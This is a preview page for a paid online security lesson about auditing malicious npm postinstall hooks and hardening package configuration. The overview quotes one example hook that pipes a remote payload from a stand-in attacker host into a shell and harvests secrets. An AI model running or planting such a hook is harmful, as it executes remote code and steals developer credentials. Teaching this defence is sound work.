Skip to main content
Module 11 · Lesson 3 of 339/42 in the course~22 min
Module lessons (3/3)

Auditing Rogue postinstall & Build Tampering

Lesson preview6 hands-on exercises readyApplication & Web Security · Module 11 — Software Supply Chain & CI/CD Hardening

Audit suspicious package.json lifecycle scripts on Linux VFS, enforce ignore-scripts=true, and purge malicious droppers.

What you'll learn in this lesson

  • Identify hidden postinstall supply-chain droppers inside dependency manifests and permissive .npmrc settings.
  • Inspect manifests and audit lifecycle hooks safely before executing npm install in local or CI containers.
  • Lock down package configs (ignore-scripts=true), harden manifest/config file permissions (chmod 644), and purge dropped persistence scripts.

Overview

Supply-chain attackers rarely wait for your app to import their compromised dependency at runtime — instead, typosquatted or hijacked packages register a "postinstall" shell hook in package.json ("curl -s https://evil.example/payload | sh"). The moment a developer or CI job runs npm install, the lifecycle script harvests .env, SSH keys,…

Review these four static analysis and Linux container containment patterns:

Sections covered in this lesson

  1. 11. Pre-Install Audits & Lifecycle Hook Lockdown
  2. 22. Interactive Explorer: Build Integrity & Lockfile Tamper Auditor
  3. 33. Progressive Labs: Warm-Up → Attack → Defend → Harden
  4. 44. Checkpoints & Code Review
Pro Lesson · Module 11 — Software Supply Chain & CI/CD Hardening

Unlock "Auditing Rogue postinstall & Build Tampering" and the full Application & Web Security curriculum

Audit suspicious package.json lifecycle scripts on Linux VFS, enforce ignore-scripts=true, and purge malicious droppers.

Unlock all 6 hands-on exercises in this lesson plus every advanced WebAssembly module with automated checks.

  • Instant access to all advanced modules in Application & Web Security plus 17 more courses
  • Hands-on browser exercises with automated test suites and solutions
  • 14-day money-back guarantee processed via Paddle.com

14-day guarantee · Cancel anytimeModule 1, all 18 interactive games, and cheatsheets are always free.